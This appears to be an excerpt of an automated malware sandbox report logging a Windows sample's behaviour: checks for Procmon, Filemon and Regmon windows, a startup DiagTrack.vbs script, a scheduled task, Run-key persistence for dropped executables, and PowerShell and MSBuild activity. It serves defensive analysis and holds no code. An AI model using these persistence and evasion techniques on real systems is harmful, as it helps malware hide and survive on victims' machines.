Source: C:\Users\user\AppData\Local\Temp\1003346001\8a0ff7e068.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1003346001\8a0ff7e068.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1003346001\8a0ff7e068.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1003346001\8a0ff7e068.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1003346001\8a0ff7e068.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1003346001\8a0ff7e068.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1003346001\8a0ff7e068.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1003346001\8a0ff7e068.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1003346001\8a0ff7e068.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\33QCBA038D3K2VF7AVBGWF5K.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\33QCBA038D3K2VF7AVBGWF5K.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\33QCBA038D3K2VF7AVBGWF5K.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\33QCBA038D3K2VF7AVBGWF5K.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\33QCBA038D3K2VF7AVBGWF5K.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\33QCBA038D3K2VF7AVBGWF5K.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\33QCBA038D3K2VF7AVBGWF5K.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\33QCBA038D3K2VF7AVBGWF5K.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\DiagTrack.vbs

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\DiagTrack.vbs

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 24da741fb6.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 24da741fb6.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 0d8313073f.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 0d8313073f.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 203f60e481.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 203f60e481.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 8a0ff7e068.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 8a0ff7e068.exe	Jump to behavior

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003334001\Fwkdsz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1003345001\203f60e481.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1003345001\203f60e481.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
